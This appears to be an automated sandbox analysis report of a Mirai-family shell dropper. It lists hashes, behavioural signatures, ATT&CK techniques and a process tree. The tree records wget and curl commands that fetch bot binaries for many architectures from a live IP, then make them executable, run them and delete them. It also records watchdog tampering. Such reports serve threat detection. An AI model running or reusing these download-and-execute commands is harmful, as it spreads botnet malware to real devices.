Analysis
- max time kernel
148s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260126-en - resource tags
arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
04/02/2026, 00:05
Static task
static1
Behavioral task
behavioral1
Sample
newreaxe.sh
Resource
ubuntu1804-amd64-20260126-en
Behavioral task
behavioral2
Sample
newreaxe.sh
Resource
debian9-armhf-20260126-en
Behavioral task
behavioral3
Sample
newreaxe.sh
Resource
debian9-mipsbe-20260127-en
Behavioral task
behavioral4
Sample
newreaxe.sh
Resource
debian9-mipsel-20260126-en
General
- Target newreaxe.sh
- Size 3KB
- Sample260204-adedeaev4b
- SHA256 b4b15ac50d03460b5cc4d2fe64c12bbffa068b1a583ecb4330198fc933a63578
- MD5 086fb30181d1efd4020809a183f6f372
- SHA1 bf960f674e6fbdcfe9a36fb096df1e74b4c9ec2c
- SHA512 445f51454f2f2f9a6d95446bb12bfab4fc59afbc270498e46fde1de8521175cb8600ce61593d47716ad7ea1ff32226e08e03d0e66e7542afe24edde6c7a232e8
- TLSH T1BE5175F6A3C247305EA95637A3789904BC45E1F3B1862E649CFB29BEF84CE047405E97
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Mirai family
- File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 765 chmod 777 chmod 795 chmod 800 chmod 805 chmod 824 chmod 723 chmod 771 chmod 783 chmod 818 chmod 830 chmod 836 chmod 674 chmod 759 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/m9x7k2v8b3.x86 676 newreaxe.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog m9x7k2v8b3.arm7 File opened for modification /dev/watchdog m9x7k2v8b3.arm File opened for modification /dev/misc/watchdog m9x7k2v8b3.arm File opened for modification /dev/watchdog m9x7k2v8b3.arm7 - Enumerates running processes
Discovers information about currently running processes on the system
- Writes file to system bin folder 4 IoCs
description ioc Process File opened for modification /sbin/watchdog m9x7k2v8b3.arm File opened for modification /bin/watchdog m9x7k2v8b3.arm File opened for modification /sbin/watchdog m9x7k2v8b3.arm7 File opened for modification /bin/watchdog m9x7k2v8b3.arm7 -
resource yara_rule behavioral2/files/fstream-2.dat upx - Checks CPU configuration 1 TTPs 14 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/1/status m9x7k2v8b3.arm File opened for reading /proc/5/status m9x7k2v8b3.arm File opened for reading /proc/43/status m9x7k2v8b3.arm File opened for reading /proc/786/status m9x7k2v8b3.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/29/status m9x7k2v8b3.arm File opened for reading /proc/288/status m9x7k2v8b3.arm File opened for reading /proc/321/status m9x7k2v8b3.arm File opened for reading /proc/self/auxv curl File opened for reading /proc/17/status m9x7k2v8b3.arm7 File opened for reading /proc/582/status m9x7k2v8b3.arm7 File opened for reading /proc/806/status m9x7k2v8b3.arm7 File opened for reading /proc/3/status m9x7k2v8b3.arm File opened for reading /proc/294/status m9x7k2v8b3.arm File opened for reading /proc/581/status m9x7k2v8b3.arm File opened for reading /proc/640/status m9x7k2v8b3.arm File opened for reading /proc/4/status m9x7k2v8b3.arm7 File opened for reading /proc/16/status m9x7k2v8b3.arm7 File opened for reading /proc/21/status m9x7k2v8b3.arm7 File opened for reading /proc/106/status m9x7k2v8b3.arm7 File opened for reading /proc/18/status m9x7k2v8b3.arm File opened for reading /proc/42/status m9x7k2v8b3.arm File opened for reading /proc/156/status m9x7k2v8b3.arm File opened for reading /proc/3/status m9x7k2v8b3.arm7 File opened for reading /proc/169/status m9x7k2v8b3.arm7 File opened for reading /proc/294/status m9x7k2v8b3.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/587/status m9x7k2v8b3.arm7 File opened for reading /proc/24/status m9x7k2v8b3.arm File opened for reading /proc/135/status m9x7k2v8b3.arm File opened for reading /proc/586/status m9x7k2v8b3.arm File opened for reading /proc/41/status m9x7k2v8b3.arm7 File opened for reading /proc/292/status m9x7k2v8b3.arm7 File opened for reading /proc/11/status m9x7k2v8b3.arm File opened for reading /proc/12/status m9x7k2v8b3.arm7 File opened for reading /proc/22/status m9x7k2v8b3.arm7 File opened for reading /proc/136/status m9x7k2v8b3.arm7 File opened for reading /proc/305/status m9x7k2v8b3.arm7 File opened for reading /proc/4/status m9x7k2v8b3.arm File opened for reading /proc/8/status m9x7k2v8b3.arm File opened for reading /proc/15/status m9x7k2v8b3.arm File opened for reading /proc/25/status m9x7k2v8b3.arm File opened for reading /proc/305/status m9x7k2v8b3.arm File opened for reading /proc/587/status m9x7k2v8b3.arm File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/27/status m9x7k2v8b3.arm File opened for reading /proc/106/status m9x7k2v8b3.arm File opened for reading /proc/2/status m9x7k2v8b3.arm7 File opened for reading /proc/14/status m9x7k2v8b3.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/784/status m9x7k2v8b3.arm File opened for reading /proc/633/status m9x7k2v8b3.arm File opened for reading /proc/787/status m9x7k2v8b3.arm File opened for reading /proc/self/exe m9x7k2v8b3.arm7 File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/20/status m9x7k2v8b3.arm File opened for reading /proc/791/status m9x7k2v8b3.arm7 File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/23/status m9x7k2v8b3.arm File opened for reading /proc/147/status m9x7k2v8b3.arm File opened for reading /proc/310/status m9x7k2v8b3.arm - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 681 wget 708 curl 724 m9x7k2v8b3.mips 726 rm - Writes file to tmp directory 29 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/m9x7k2v8b3.arm curl File opened for modification /tmp/m9x7k2v8b3.arm7 wget File opened for modification /tmp/m9x7k2v8b3.spc wget File opened for modification /tmp/m9x7k2v8b3.m68k wget File opened for modification /tmp/m9x7k2v8b3.sh4 wget File opened for modification /tmp/busybox cp File opened for modification /tmp/m9x7k2v8b3.x86 curl File opened for modification /tmp/m9x7k2v8b3.mips curl File opened for modification /tmp/m9x7k2v8b3.mpsl wget File opened for modification /tmp/m9x7k2v8b3.i686 wget File opened for modification /tmp/m9x7k2v8b3.x86_64 curl File opened for modification /tmp/m9x7k2v8b3.spc curl File opened for modification /tmp/m9x7k2v8b3.sh4 curl File opened for modification /tmp/m9x7k2v8b3.mpsl curl File opened for modification /tmp/m9x7k2v8b3.arm5 wget File opened for modification /tmp/m9x7k2v8b3.ppc wget File opened for modification /tmp/m9x7k2v8b3.arc curl File opened for modification /tmp/m9x7k2v8b3.i686 curl File opened for modification /tmp/m9x7k2v8b3.arm6 curl File opened for modification /tmp/m9x7k2v8b3.arm7 curl File opened for modification /tmp/m9x7k2v8b3.x86 wget File opened for modification /tmp/m9x7k2v8b3.mips wget File opened for modification /tmp/m9x7k2v8b3.x86_64 wget File opened for modification /tmp/m9x7k2v8b3.arm6 wget File opened for modification /tmp/m9x7k2v8b3.arc wget File opened for modification /tmp/m9x7k2v8b3.arm5 curl File opened for modification /tmp/m9x7k2v8b3.ppc curl File opened for modification /tmp/m9x7k2v8b3.m68k curl File opened for modification /tmp/m9x7k2v8b3.arm wget
Processes
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/tmp/newreaxe.sh/tmp/newreaxe.sh1⤵
- Executes dropped EXE
PID:643 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:650
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x862⤵
- Writes file to tmp directory
PID:657
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:671
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/bin/chmodchmod +x busybox m9x7k2v8b3.x86 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:674
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/tmp/m9x7k2v8b3.x86./m9x7k2v8b3.x86 kargar62⤵PID:676
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/bin/rmrm -rf m9x7k2v8b3.x862⤵PID:679
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:681
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:708
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/bin/chmodchmod +x busybox m9x7k2v8b3.mips newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:723
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/tmp/m9x7k2v8b3.mips./m9x7k2v8b3.mips kargar62⤵
- System Network Configuration Discovery
PID:724
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/bin/rmrm -rf m9x7k2v8b3.mips2⤵
- System Network Configuration Discovery
PID:726
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arc2⤵
- Writes file to tmp directory
PID:727
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:740
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/bin/chmodchmod +x busybox m9x7k2v8b3.arc newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:759
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/tmp/m9x7k2v8b3.arc./m9x7k2v8b3.arc kargar62⤵PID:760
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/bin/rmrm -rf m9x7k2v8b3.arc2⤵PID:762
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.i6862⤵
- Writes file to tmp directory
PID:763
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.i6862⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:764
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/bin/chmodchmod +x busybox m9x7k2v8b3.i686 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:765
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/tmp/m9x7k2v8b3.i686./m9x7k2v8b3.i686 kargar62⤵PID:766
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/bin/rmrm -rf m9x7k2v8b3.i6862⤵PID:768
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86_642⤵
- Writes file to tmp directory
PID:769
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.x86_642⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:770
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/bin/chmodchmod +x busybox m9x7k2v8b3.x86_64 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:771
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/tmp/m9x7k2v8b3.x86_64./m9x7k2v8b3.x86_64 kargar62⤵PID:772
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/bin/rmrm -rf m9x7k2v8b3.x86_642⤵PID:774
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mpsl2⤵
- Writes file to tmp directory
PID:775
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.mpsl2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:776
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/bin/chmodchmod +x busybox m9x7k2v8b3.mpsl newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:777
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/tmp/m9x7k2v8b3.mpsl./m9x7k2v8b3.mpsl kargar62⤵PID:778
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/bin/rmrm -rf m9x7k2v8b3.mpsl2⤵PID:780
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm2⤵
- Writes file to tmp directory
PID:781
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm2⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:782
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/bin/chmodchmod +x busybox m9x7k2v8b3.arm newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:783
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/tmp/m9x7k2v8b3.arm./m9x7k2v8b3.arm kargar62⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:784
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/bin/rmrm -rf m9x7k2v8b3.arm2⤵PID:792
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm52⤵
- Writes file to tmp directory
PID:793
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm52⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:794
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/bin/chmodchmod +x busybox m9x7k2v8b3.arm5 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:795
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/tmp/m9x7k2v8b3.arm5./m9x7k2v8b3.arm5 kargar62⤵PID:796
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/bin/rmrm -rf m9x7k2v8b3.arm52⤵PID:797
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm62⤵
- Writes file to tmp directory
PID:798
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm62⤵
- Checks CPU configuration
- Writes file to tmp directory
PID:799
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/bin/chmodchmod +x busybox m9x7k2v8b3.arm6 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:800
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/tmp/m9x7k2v8b3.arm6./m9x7k2v8b3.arm6 kargar62⤵PID:801
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/bin/rmrm -rf m9x7k2v8b3.arm62⤵PID:802
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm72⤵
- Writes file to tmp directory
PID:803
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:804
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/bin/chmodchmod +x busybox m9x7k2v8b3.arm7 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:805
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/tmp/m9x7k2v8b3.arm7./m9x7k2v8b3.arm7 kargar62⤵
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:806
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/bin/rmrm -rf m9x7k2v8b3.arm72⤵PID:815
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.ppc2⤵
- Writes file to tmp directory
PID:816
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:817
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/bin/chmodchmod +x busybox m9x7k2v8b3.ppc newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:818
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/tmp/m9x7k2v8b3.ppc./m9x7k2v8b3.ppc kargar62⤵PID:819
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/bin/rmrm -rf m9x7k2v8b3.ppc2⤵PID:821
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.spc2⤵
- Writes file to tmp directory
PID:822
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:823
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/bin/chmodchmod +x busybox m9x7k2v8b3.spc newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:824
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/tmp/m9x7k2v8b3.spc./m9x7k2v8b3.spc kargar62⤵PID:825
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/bin/rmrm -rf m9x7k2v8b3.spc2⤵PID:827
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.m68k2⤵
- Writes file to tmp directory
PID:828
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:829
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/bin/chmodchmod +x busybox m9x7k2v8b3.m68k newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:830
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/tmp/m9x7k2v8b3.m68k./m9x7k2v8b3.m68k kargar62⤵PID:831
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/bin/rmrm -rf m9x7k2v8b3.m68k2⤵PID:833
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/usr/bin/wgetwget http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.sh42⤵
- Writes file to tmp directory
PID:834
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/usr/bin/curlcurl -O http://192.3.154.52/x7k2m9v8b/m9x7k2v8b3.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:835
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/bin/chmodchmod +x busybox m9x7k2v8b3.sh4 newreaxe.sh systemd-private-4bbc15f3554d49c1952dacf9b3ab4fda-systemd-timedated.service-tBilMz2⤵
- File and Directory Permissions Modification
PID:836
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/tmp/m9x7k2v8b3.sh4./m9x7k2v8b3.sh4 kargar62⤵PID:837
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/bin/rmrm -rf m9x7k2v8b3.sh42⤵PID:839
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Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/busybox
- Size 507KB
- SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
- MD5 e588bcf03ae78237b58899d35f50c570
- SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
- SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
- SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
- TLSH T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/m9x7k2v8b3.x86
- Size 39KB
- SHA256 a032e7a7053822b6d37f8dc47c093ee0ba09ca5b95ad8413f8511fb0cf9c8abd
- MD5 ae181b52beea891e03c5d55c15fd3945
- SHA1 4338748cfa43de98e639fdfd20f72e92c01b54a4
- SHA512 227609ba3c8179f3afed54eff76429ff321c2cdcc5f3c48b0bb009816e85d64cc62cea39a66fccb9b53c5fe47869fa49e4bd8692ac5115694718543cce52188a
- SSDEEP 768:4a/1QG10HqmJtAPfLLdncHeOhdISzZZJrGd3vFeA893U54g9znbcuyD7UHQRj2:4JEAq1ncHeK/RqeAhWenouy8Hy6
- TLSH T1EC03F118B77B0964E90FC9720A2E7A5C4064F6EF82DDE4C3DD81AD36CD62F960115792
- MD5 SHA1 SHA512 SSDEEP TLSH